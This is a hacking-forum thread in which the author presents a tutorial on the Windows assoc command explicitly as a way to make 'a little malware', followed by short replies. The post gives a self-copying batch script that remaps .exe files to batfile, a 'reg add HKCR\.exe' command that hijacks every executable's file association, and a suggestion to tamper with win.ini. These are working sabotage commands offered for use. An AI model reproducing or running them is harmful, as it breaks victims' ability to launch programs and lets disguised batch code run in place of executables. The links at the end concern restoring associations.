Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

assoc tut

here is a tutorial
for the assoc command
it can be used to change the executable file extension

the standard is
for example
assoc .exe=exefile

during a simple code you can make a little malware during this:
assoc .exe=batfile
for example

you can for example do that

Code
@echo off
type %0 >exefile.exe
assoc .exe=batfile
call exefile.exe

you know actually you can't easily copy a batch file to an exe and run that
it won't work at all
so but with the assoc command
( assoc .exe=batfile) it would work

this is the structure:

assoc .filextension=new executable file (filetype)

another example

you think you got a virus who had confused your file assoc
for example if you want to start an exe there come a bat window

and the assoc .exe=exefile doesnt work
hmm so you open the regedit

under the key
HKEY_classes_root

there are all known an installed fileextensions in it
with its filetypes (the exdcute type)

here is a batch regadd example for confusing exe files
Code
reg add HKCR\.exe /v (standard) /d batfile /f
do you have udnerstand the principe?

so you can use
the batch
assoc command
or the registry

there is another way too i will displain

if you go to %windir%
you have got a win.ini

there is maybe something like that in it:
Code
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
aiff=MPEGVideo
asf=MPEGVideo2
asx=MPEGVideo2
au=MPEGVideo
m1v=MPEGVideo
m3u=MPEGVideo2
mp2=MPEGVideo
mp2v=MPEGVideo
mp3=MPEGVideo2
mpa=MPEGVideo
mpe=MPEGVideo
mpeg=MPEGVideo
mpg=MPEGVideo
mpv2=MPEGVideo
snd=MPEGVideo
wax=MPEGVideo2
wm=MPEGVideo2
wma=MPEGVideo2
wmv=MPEGVideo2
wmx=MPEGVideo2
wvx=MPEGVideo2
wpl=MPEGVideo
m2v=MPEGVideo
mod=MPEGVideo
[annie]
WantPreview=1
UseFrameRate=1
FrameRate=333333
[Readiris]
Scanner32=Twaino38,23
there not all filetypes only a few but you can confuse them in the win.ini too

(i havnt test that yet)

so there are three possibilities

win.ini
registry
assoc command

you can use all methods with batch coding

thank you

~dieteam
yes teorethic it will work

so
assoc .jpg=batfile

or over the registry you ahev to search for the key
i yat know but it's great
compliments
yes it works with all types
mmh and if i write:
so
assoc .bat=jpegfile

what happened? O.o
if you open now a bat file it will execute as JPG O.o
The "assoc" is my favorite command.
right,my tut is only an overview
everyone could understand that after some practice
for XP http://www.dougknox.com/xp/file_assoc.htm
for Vista http://www.winhelponline.com/articles/10...Vista.html
for 7 http://www.winhelponline.com/blog/file-a...windows-7/


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by PsychotiicAug 2, 2012 01:22 PM 22 869 Aug 2, 2012 01:22 PM
Last Post: ident
[Java] by midgetyMay 25, 2012 01:10 PM 5 239 May 25, 2012 01:10 PM
Last Post: _phl0w
[.NET] by Tim JoeJul 8, 2011 05:58 AM 11 180 Jul 8, 2011 05:58 AM
Last Post: Shoсkwave